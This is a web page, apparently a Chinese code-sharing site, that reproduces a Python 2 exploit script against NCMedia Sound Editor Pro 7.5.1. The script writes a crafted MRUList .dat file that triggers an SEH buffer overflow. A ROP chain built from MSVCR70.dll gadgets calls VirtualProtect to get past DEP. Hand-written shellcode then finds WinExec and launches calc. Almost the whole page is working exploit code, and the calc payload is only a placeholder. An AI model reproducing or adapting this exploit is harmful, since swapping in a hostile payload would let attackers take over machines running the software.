扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 |
#!/usr/bin/python #---------------------------------------------------------------------------# # Exploit: NCMedia Sound Editor Pro v7.5.1 SEH&DEP# # Author: b33f - http://www.fuzzysecurity.com/# # OS: Windows 7 Pro SP1 (probably universal across 32-bit)# # POC - Julien Ahrens XP SP3: http://www.exploit-db.com/exploits/21331/ # # Software: http://www.soundeditorpro.com/# # HOWTO: put the *.dat file in [USER]\Roaming\Sound Editor Pro\ # #open -> click "File" menu -> calc ;))# #---------------------------------------------------------------------------# # Curiously enough, the only thing that went through the mind of the# # ROP-Chain as it was executed was "Oh no, not again"!# #---------------------------------------------------------------------------# import sys, socket, struct file="MRUList201202.dat" #--------------------------------------------------------------------------------------------------------------# # Semi-Universal ROP chain based entirely on MSVCR70.dll which comes packaged with "NCMedia Sound Editor"... # #--------------------------------------------------------------------------------------------------------------# rop = struct.pack('<L',0x7c0126bc)# XCHG EAX,EBP # ADD AL,7C # RETN \ rop += struct.pack('<L',0x7c0358a1) # POP EAX # RETN | rop += struct.pack('<L',0x7C0390FD) # VirtualProtect() -> ESI=0 EBP=0 -> 7c039138(VP)-3B | MOV VP -> ESI rop += struct.pack('<L',0x7c023a4f) # ADD ESI,DWORD PTR DS:[EAX+EBP+3B] # RETN/ #--------------------------------------------------------------------------------------------------------------# rop += struct.pack('<L',0x7c0358a1) # POP EAX # RETN\ rop += struct.pack('<L',0xFFBF90EF) # NEG is -> 0x00406f11 : jmp esp [SoundEditorPro.exe]| JMP ESP -> EBP rop += struct.pack('<L',0x7c0167cd) # NEG EAX # RETN [MSVCR70.dll] | rop += struct.pack('<L',0x7c0126b7) # XCHG EAX,EBP # ADD AL,7C # RETN / #--------------------------------------------------------------------------------------------------------------# rop += struct.pack('<L',0x7c0358a1) # POP EAX # RETN\ rop += struct.pack('<L',0xFFFFFDFF) # Neg is 201-HEX (513-bytes) | Executable Size -> EBX rop += struct.pack('<L',0x7c0167cd) # NEG EAX # RETN | rop += struct.pack('<L',0x7c01561c) # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN/ #--------------------------------------------------------------------------------------------------------------# rop += struct.pack('<L',0x7c026484) # POP EDI # RETN\ROP-NOP -> EDI rop += struct.pack('<L',0x7c034e02) # ROP-NOP / #--------------------------------------------------------------------------------------------------------------# rop += struct.pack('<L',0x7c0358a1) # POP EAX # RETN\ rop += struct.pack('<L',0xFFFFFFC0) # NEG is 0x40| newProtect -> EDX rop += struct.pack('<L',0x7c0167cd) # NEG EAX # RETN | rop += struct.pack('<L',0x7c026dc4) # MOV EDX,EAX # INC ECX # MOVZX EAX,BYTE PTR DS:[ECX] # ADD EAX,EDX # RETN/ #--------------------------------------------------------------------------------------------------------------# rop += struct.pack('<L',0x7c034e01) # POP ECX # RETN\RW lpOldProtect -> ECX rop += struct.pack('<L',0x7c049001) # lpOldProtect/ #--------------------------------------------------------------------------------------------------------------# rop += struct.pack('<L',0x7c0358a1) # POP EAX # RETN\NOP padding -> EAX rop += struct.pack('<L',0x90909090) # NOP / #--------------------------------------------------------------------------------------------------------------# rop += struct.pack('<L',0x7c0126b6) # PUSHAD # XCHG EAX,EBP # ADD AL,7C # RETN|PUSHAD -> pwnd!! #--------------------------------------------------------------------------------------------------------------# #---------------------------------- # Greets to SkyLined, you do great work with shellcode!! #---------------------------------- calc = ( "\x31\xD2"# "\x52"# "\x68\x63\x61\x6C\x63"# Stack has arguments for "\x89\xE6"# WinExec -> calc "\x52"# "\x56"######## "\x64\x8B\x72\x30"# "\x8B\x76\x0C"# "\x8B\x76\x0C"# Found Kernel32 "\xAD"# base address "\x8B\x30"# "\x8B\x7E\x18"######## "\x8B\x5F\x3C"# Found export table offset "\x8B\x5C\x1F\x78"######## "\x8B\x74\x1F\x20"# Found export names table "\x01\xFE"######## "\x8B\x4C\x1F\x24"# Found export ordinals table "\x01\xF9"######## "\x42"# "\xAD"# Found WinExec ordinal "\x81\x3C\x07\x57\x69\x6E\x45"# "\x75\xF5"######## "\x0F\xB7\x54\x51\xFE"# "\x8B\x74\x1F\x1C"# "\x01\xFE"# Pop calc ;)) "\x03\x3C\x96"# "\xFF\xD7") # #---------------------------------- # badchars -> '\x00\x0d\x0a' # 0x0040e02a {pivot 1092}# ADD ESP,444 # RETN [SoundEditorPro.exe] # ROP-NOP Slide 0x7c034e02 [MSVCR70.dll] #---------------------------------- b00m = "\x90"*10 + calc poc = "\x02\x4E\x03\x7C"*61 + rop + b00m + "\x41"*(3880-len(rop + b00m)) + "\x2A\xE0\x40\x00" try: print "[*] Creating exploit file...\n" writeFile = open (file, "w") writeFile.write( poc ) writeFile.close() print "[*] File successfully created!" except: print "[!] Error while creating file!" |
体验盒子
